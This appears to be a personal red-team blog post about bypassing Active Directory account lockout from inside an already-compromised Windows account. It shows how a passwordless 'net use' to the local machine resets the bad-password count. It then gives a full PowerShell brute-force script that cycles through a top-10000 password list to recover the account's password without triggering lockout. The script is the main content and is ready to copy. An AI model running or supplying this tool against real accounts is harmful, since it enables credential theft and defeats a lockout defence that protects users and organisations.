Bypassing AD account lockout for a compromised account

This is for educational purposes only. Never do security testing on a machine you do not own or have permission to test on. If you don’t own it, don’t pwn it.

From a red team perspective, once an attacker compromises a machine through a phish or vulnerability that leads to remote code execution, they may be running in the context of a user account or a service account, but they don’t know the password (yet).

There are many great ways to get a get a user/service account password and this is just another way. This will only work on the user whose context you are running in. For example, if someone leaves their computer unlocked and I have permission to test their computer, this will work, and I can get the users password. If I’m testing as website and I compromise the webserver that runs as a service account with remote code execution on the server, this will allow me to get the service account password.

OK, lets get to work. The core concept is that once a user is authenticated they can run a “net use \\%computername% /u:%username%” command which will reauthenticate as the user and reset the lockout count

To see this in action you will want to download the remote server admin tools from Microsoft here: https://www.microsoft.com/en-us/download/details.aspx?id=45520

After you install the tool, you can run this powershell script to show the current lockout attempts for my JoeUser account

get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto

In my local policy you can see I get locked out after 3 invalid logon attempts (default install values I got from Microsoft).

Now I’ll run a command to purposefully enter a bad password to show you that a bad password attempt gets recorded. Here is my command “net use \\%computername% “FakePassword” /u:joeuser “ For some reason Net use with a password creates two bad password attempts. I could use another method that only causes one bad attempt, but you get the idea. Also, this is a lot faster than other methods I’ve tried and I’m not sure why. I’d think two bad password attempts would take longer.

Now I’m going to clear the bad password attempts by using this command: “Net use \\%computername% /u:%username%” Notice I didn’t specify a password. I’m already logged in as the user and it appears to use the current user’s context to authenticate and it clears the bad password count!

Now I can use this technique to brute force the password indefinitely. The only catch is I have to delete the share after each setup if you want to test passwords with Net use. For example, now that I have the share setup, if I try to hit the same share with a password attempt, I get this message

To clear our share we just use “Net Use /Delete \\%computername%

Here is a proof of concept. I’m using the top 10000 password list from Daniel Miesslers SecLists (https://github.com/danielmiessler/SecLists) I just put my password in the middle to prove this works.I’m putting the password list and my proof of concept code in C:\Users\Public Here is the code Sorry This is Ugly but you can copy it.

$userVar = Get-ChildItem env:username

$uname = $userVar.Value

$computerVar = Get-ChildItem env:computername

$computerName = $computerVar.Value

$ErrorActionPreference = “Stop”

$hooray = “PasswordNotFoun”

$CurrentPath = “C:\Users\Public”

$FileName = “10-million-password-list-top-10000.txt”

$FName= “$CurrentPath\$FileName”

foreach($value in [System.IO.File]::ReadLines($Fname))

{

$passAttempt = (‘net use \\’ + $computerName + ‘ “‘ + $value + ‘“ ‘ + ‘/u:’ + $uname )

try

{

Write-Output (“trying password “ + $value)

$output = Invoke-Expression $passAttempt | Out-Null

$hooray = $value

write-output (“FOUND the user password: “ + $value)

$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = (‘net use /delete \\’ + $computername )

Invoke-Expression $deleteShare | Out-Null

break

}

catch

{

$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = (‘net use /delete \\’ + $computername )

Invoke-Expression $deleteShare | Out-Null

}

}

write-host “The Password is: “ $hooray

Here it is running and finding the users password.

As you might have guessed, I’m not locket out either!!!

It is slow but it works. ** NOTE ** I submitted this as a bug to Microsoft but they did not believe is was a security weakness (this seems like an issue to me).

Feel free to follow me on twitter at @_markmo_ (yes with the underscores), I share what I learn.